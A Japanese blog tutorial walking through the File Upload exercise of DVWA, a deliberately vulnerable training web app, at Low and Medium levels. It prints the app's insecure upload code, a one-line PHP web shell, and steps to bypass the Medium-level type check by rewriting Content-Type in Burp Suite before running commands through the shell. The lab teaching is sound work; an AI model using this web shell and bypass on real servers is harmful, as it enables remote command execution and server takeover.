本記事の概要
意図的に脆弱性が存在するWebサーバであるDVWAのFile Uploadカテゴリの脆弱性の演習の流れを記載します。
File Uploadの脆弱性を悪用されると、任意のコードを実行される可能性があります。
DVWAでは3段階(Low、Medium、High)のレベルに分かれて問題が出題されており、LowとMediumの演習の手順を記載します。
DVWAの概要や導入方法は「DVWA(Damn Vulnerable Web Application)を構築してみた」をご確認ください。
※本記事に記載している攻撃を自身が管理しているサーバ以外に攻撃した場合は、犯罪になりますので注意してください。
※本記事に記載している内容を行った場合でも私は責任を取れませんので、実施する際は注意してください。
DVWAのレベルの設定変更手順
DVWAで設定できる問題の難易度の3段階(Low、Medium、High)の設定方法のやり方を記載します。
(1) 「DVWA Security」をクリックして、「Security Level is currently 〇〇〇」に記載されている現在のレベルを確認します。その後、レベルを選択して、「Submit」をクリックします。
(2) 「Security Level is currently 〇〇〇」の表記が変わったことを確認します。
DVWAのFile Upload攻撃のやり方(レベル:Low)
(1) DVWAのFile Upload演習のソースコードは以下の通りです。ユーザの任意のファイルをアップロードして、アップロードされた格納場所が出力されます。
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename( $_FILES['uploaded']['name']);
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
?>
(2) 任意のコマンドを実行するために、サーバにアップロードするための以下のファイルを作成します。
<?php
system($_GET['cmd']);
(3) ファイルをアップロードするために、「ファイルを選択」をクリックします。
(4) アップロードするファイル名が表示されていることを確認して、「Upload」をクリックします。
(5) アップロードしたファイルの格納場所が表示されていることを確認します。
(6) アップロードしたファイルの格納場所にアクセスして、パラメータの実行するコマンドを入力します。今回は「http://[DVWAのFQDN]/hackable/uploads/cmd.php?cmd=ls」にアクセスします。
DVWAのFile Upload攻撃のやり方(レベル:Medium)
以下の2つのソフトウェアを用いた手順を作成していますので、インストールしていない場合は、以下の記事に従って事前にインストールしてください。
・Burp Suite : Burp SuiteをWindows 10にインストールしてみた
・Firefox : Mozilla Firefoxをインストールしてみた
(1) DVWAのFile Uploadの演習のソースコードは以下の通りです。
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>
(2) 演習のレベルLowと比較すると、以下の内容が追記されていますので、「image/jpeg」でファイルサイズが大きくない場合のみファイルをアップロードできます。
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
(3) 任意のコマンドを実行するために、サーバにアップロードするための以下のファイルを作成します。
<?php
system($_GET['cmd']);
(4) Firefoxを用いて、「Upload」の「ファイルを選択」をクリックします。その後、手順(3)で作成したファイルを選択します。
(5) アップロードしたファイル名が表示されていることを確認します。
(6) Burp Suiteを起動します。
(7) 「Temporary projects」にチェックを付けて、「Next」をクリックします。
(8) 「Use Burp defaults」にチェックを付けて、「Start Burp」をクリックします。
(9) [Proxy]-[Options]をクリックして、Interfaceの内容が「127.0.0.1:8080」になっていることを確認します。
(10) 右上の「三」をクリックして、「設定」をクリックします。
(11) ネットワーク設定の「接続設定」をクリックします。
(12) 以下の内容を設定して、「OK」をクリックします。
・手動でプロキシーを設定する : チェックを付ける
・HTTP プロキシ : 127.0.0.1 (※)
・ポート : 8080 (※)
・このプロキシをFTPとHTTPSでも使用する : チェックを付ける
※上記の手順(9)で確認したBurp Suiteの待ち受けIPアドレスとポート番号が違う場合は、適宜変更します。
(13) Burp Suiteの[Proxy]-[Intercept]をクリックして、「Intercept is on」という表記になっていることを確認します。もし、「intercept is off」になっている場合は、クリックして「intercept is on」に変わったことを確認します。
※この設定を有効化することで、Burp Suiteを経由する通信をプロキシ(Burp Suite)で止めます。
(14) 「Upload」をクリックします。
(16) 通信の内容が表示されていることを確認します。
(17) Content-Typeの値を「image/jpeg」に変更します。
(18) 「Intercept is on」をクリックして、「Intercept is off」に表記が変わったことを確認します。
(19) ファイルがアップロードされた格納場所が表示されていることを確認します。
(20) アップロードしたファイルの格納場所にアクセスして、パラメータの実行するコマンドを入力します。今回は「http://[DVWAのFQDN]/hackable/uploads/cmd3.php?cmd=pwd」にアクセスします。
DVWAに関する記事
DVWAについての関連記事は以下の通りです。
必要に応じて、ご確認ください。
No | タイトル | 記事の概要 |
---|---|---|
1 | DVWA(Damn Vulnerable Web Application) を構築してみた | DVWAのバージョン1.0.7の構築手順を記載します。 |
2 | DVWAのBrute Forceの脆弱性の演習 | DVWAの環境を用いてBrute Force攻撃の 演習の例を記載します。 |
3 | DVWAのCommand Executionの脆弱性の演習 | DVWAの環境を用いてCommand Execution攻撃の 演習の例を記載します。 |
4 | DVWAのCross Site Request Forgery (CSRF)の 脆弱性の演習 | DVWAの環境を用いてCSRF攻撃の 演習の例を記載します。 |
5 | DVWAのFile Inclusionの脆弱性の演習 | DVWAの環境を用いてFile Inclusionの脆弱性を 悪用した攻撃の演習の例を記載します。 |
6 | DVWAのSQL Injectionの脆弱性の演習 | DVWAの環境を用いてSQL Injection攻撃の 演習の例を記載します。 |
7 | DVWAのFile Uploadの脆弱性の演習 | DVWAの環境を用いてFile Uploadの脆弱性を 悪用した攻撃の演習の例を記載します。 |
8 | DVWAのXSS reflectedの脆弱性の演習 | DVWAの環境を用いてXSS reflected攻撃の 演習の例を記載します。 |
9 | DVWAのXSS storedの脆弱性の演習 | DVWAの環境を用いてXSS stored攻撃の 演習の例を記載します。 |